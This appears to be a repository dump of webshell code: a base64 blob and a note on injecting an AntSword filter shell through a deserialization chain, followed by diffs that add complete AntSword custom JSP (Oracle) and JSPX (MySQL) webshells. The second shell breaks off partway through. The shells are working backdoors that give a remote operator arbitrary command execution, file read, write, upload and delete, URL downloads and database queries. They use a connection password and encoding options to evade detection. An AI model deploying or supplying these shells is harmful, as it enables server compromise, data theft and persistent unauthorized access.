tK3P8jr5K9pVdSEgAECTxYt/XRp/3baKCAPbLY1ibmR63y+0lBC+krW/p22CdpKq11r2ZxVVSEmaCBl4LgbYi1wk+rZFv1Io4CSr/R9PBFjlkvsCl2PSXC+VLA6YZt2d9u1F0uXC5VHhnTJaZ35lPBUTGT9BBvveDDW99CCmQa9htKNDwAsZnlyghFAPheH9N5J729NVrWXbrbUa1tl/Eh7rzA3SriFFZ9LhlGH68ksuCaUesi1+S0hh+aL7sXpKuxEVFK5yY1a3FHCjxeP1C29QAqgulzAJ5Lm6xjQ7Nb2lo5FfHMMO4kipou6gFlA5dhyholnB4wCzxy+V0UA5uY1kqxooLa5mUs+l5Xn8k+XWuhzZ/1OLLwlc5BEZ4qAdI77i4kkVhvr21lK5DoKhBMgl/5Sv+1k7TbgyTYa5Xvk1c7Sf0v7MCDeeSnFHElyLHW/LL7sgBXns4f9wy9tQWhafv3xqc5X+8ARY3QoP8bmV2AUpIeyWAvc1lS2Bf8juaQ6PKXTMPB5y6aTW2eDdCjDZLhrBj02qPt4A3l4uqBylZLSdeNFGSXrTPqiAADxGawk2TvKqRYn8oowS0SWeUngpR7GGGiqU/m8e3PUC/WepGQj0rdTFXqE5MJPd0a9BgQOew0uQfmKdbzstZr2j4on8lWYRmPLxpeooV7YvJL5mC3Xfo381OhOCEI5twD5MvXrUlSQpMH9+HISjWRxLzsC2njoXwiPbum39w==
```
pass: alsdkj1l24wqasd123
use: URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell
![antshell](https://github.com/Y4er/WebLogic-Shiro-shell/raw/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.assets/antshell.gif)
author:Y4er
project:https://github.com/Y4er/WebLogic-Shiro-shell

View File

@@ -0,0 +1,525 @@
<%--
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
———————————————————————————————————————————————
AntSword JSP Custom Script for Oracle
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
说明:
1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接:
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:@127.0.0.1:1521/test
user
password
注意以上是4行
4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
ChangeLog:
v1.8
1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
v1.7
1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
v1.6
1. 新增 4 种解码器支持
v1.5
1. 修正 base64 编码器下连接数据库 characterEncoding 出错
v1.4
1. 修正 windows 下基础路径获取盘符会出现小写的情况
v1.3
1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题
3. 修正文件中文字符问题
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误
2. 修正一些注释的细节
Date: 2016/03/26 v1
1. 文件系统 和 terminal 管理
2. mysql 数据库支持
3. 支持 base64 和 hex 编码
--%>
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,javax.crypto.*,java.security.*,javax.crypto.spec.*" contentType="text/html;charset=UTF-8"%>
<%!
// #################################################################
String Pwd = "ant"; //连接密码
// 编码器
String encoder = ""; // default (明文)
// String encoder = "base64"; // base64
// String encoder = "hex"; // hex(推荐)
// String encoder = "aes"; // aes(加密方式见下文aes配置)
// 解码器
String decoder = ""; // default (明文)
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// String decoder = "aes_base64"; // aes(base64) (加密方式见下文aes配置)
// 其它配置
String cs = "UTF-8"; // 字符集编码
String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
String RetS = "LT58"; // 数据起始分割符 base64
String RetE = "fDwt"; // 数据结束分割符 base64
// aes 加密配置项
/*
* aes-128-cfb_zero_padding:
* - aes_mode: CFB
* - aes_padding: NoPadding
* - aes_keylen: 16
* aes-256-ecb_zero_padding:
* - aes_mode: ECB
* - aes_padding: NoPadding
* - aes_keylen: 32
*/
// 注意: 以下4项为 encoder/decoder 共用
// 如果需要请求和返回采用不同方式, 自行修改
String aes_mode = "CFB"; // CBC|ECB|CFB|
String aes_padding = "NoPadding"; // NoPadding|PKCS5Padding|PKCS7Padding
int aes_keylen = 16; // 16|32 // 16(AES-128) 32(AES-256)
String aes_key_padding = "a"; // 获取到的 key 位数不够时填充字符
// ################################################################
String AesKey = "";
String Version = "1.7";
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+dbname+"' ORDER BY 1)";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t";
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1];
Connection c = DriverManager.getConnection(url,x[2],x[3]);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|"+"<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String asenc(String str, String decode) throws Exception{
if(decode.equals("hex") || decode=="hex"){
return strtohexstr(str);
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}else if(decode.equals("aes_base64") || decode == "aes_base64"){
String sb1 = "";
sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
return sb1.replace("\r\n","");
}
return str;
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,cs);
}else if(encode.equals("aes") || encode == "aes") {
String str1 = AesDecrypt(AesKey, str);
return str1.trim();
}
return str;
}
String AesEncrypt(String key, String cleartext) throws Exception {
IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);
byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
String sb = encoder.encode(encryptedData);
return sb;
}
String AesDecrypt(String key ,String encrypted) throws Exception {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
byte[] byteMi = decoder.decodeBuffer(encrypted);
IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
byte[] decryptedData = cipher.doFinal(byteMi);
return new String(decryptedData, "UTF-8");
}
String getKeyFromCookie(Cookie[] cookies){
String key = "";
StringBuilder result = new StringBuilder();
if( cookies != null ){
for (Cookie c : cookies) {
if (c.getName().equals(SessionKey)) {
key = c.getValue();
break;
}
}
}
if(key.length() < aes_keylen){
for(int i=0;key.length() < aes_keylen;i++){
key += aes_key_padding;
}
}if(key.length() > aes_keylen){
key = key.substring(0,aes_keylen);
}
return key;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}%>
<%
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
Cookie cookie = new Cookie(SessionKey, session.getId());
response.addCookie(cookie);
try {
AesKey = getKeyFromCookie(request.getCookies());
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = EC(decode(request.getParameter("z0")+"", encoder));
String z1 = EC(decode(request.getParameter("z1")+"", encoder));
String z2 = EC(decode(request.getParameter("z2")+"", encoder));
String z3 = EC(decode(request.getParameter("z3")+"", encoder));
String[] pars = { z0, z1, z2, z3};
output.append(decode(RetS,"base64"));
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}else{
sb.append(Version);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
try {
output.append(asenc(sb.toString(), decoder));
}catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
output.append(decode(RetE, "base64"));
out.print(output.toString());
%>

View File

@@ -0,0 +1,570 @@
<!--
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
———————————————————————————————————————————————
AntSword JSPX Custom Script for Mysql
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
说明:
1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接:
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
注意:以上是两行
4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
ChangeLog:
v1.8
1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
v1.7
1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
v1.6
1. 新增 4 种解码器支持
v1.5
1. 修正 base64 编码器下连接数据库 characterEncoding 出错
v1.4
1. 修正 windows 下基础路径获取盘符会出现小写的情况
v1.3
1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题
3. 修正文件中文字符问题
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误
2. 修正一些注释的细节
Date: 2016/03/26 v1
1. 文件系统 和 terminal 管理
2. mysql 数据库支持
3. 支持 base64 和 hex 编码
-->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.net.*"/>
<jsp:directive.page import="java.sql.*"/>
<jsp:directive.page import="java.text.*"/>
<jsp:directive.page import="javax.crypto.*"/>
<jsp:directive.page import="java.security.*"/>
<jsp:directive.page import="javax.crypto.spec.*"/>
<jsp:declaration>
<![CDATA[
// ################################################
String Pwd = "ant"; //连接密码
// 编码器 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐)
// String encoder = "aes"; // aes(加密方式见下文aes配置)
String cs = "UTF-8"; // 字符编码
// 解码器 4 选 1
String decoder = "";
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// String decoder = "aes_base64"; // aes(base64) (加密方式见下文aes配置)
// 其它配置
String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
String RetS = "LT58"; // 数据起始分割符 base64
String RetE = "fDwt"; // 数据结束分割符 base64
// aes 加密配置项
/*
* aes-128-cfb_zero_padding:
* - aes_mode: CFB
* - aes_padding: NoPadding
* - aes_keylen: 16
* aes-256-ecb_zero_padding:
* - aes_mode: ECB
* - aes_padding: NoPadding
* - aes_keylen: 32
*/
// 注意: 以下4项为 encoder/decoder 共用
// 如果需要请求和返回采用不同方式, 自行修改
String aes_mode = "CFB"; // CBC|ECB|CFB|
String aes_padding = "NoPadding"; // NoPadding|PKCS5Padding|PKCS7Padding
int aes_keylen = 16; // 16|32 // 16(AES-128) 32(AES-256)
String aes_key_padding = "a"; // 获取到的 key 位数不够时填充字符
// ################################################################
String AesKey = "";
String Version = "1.7";
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname;
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t";
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|"+"<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){
return strtohexstr(str);
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
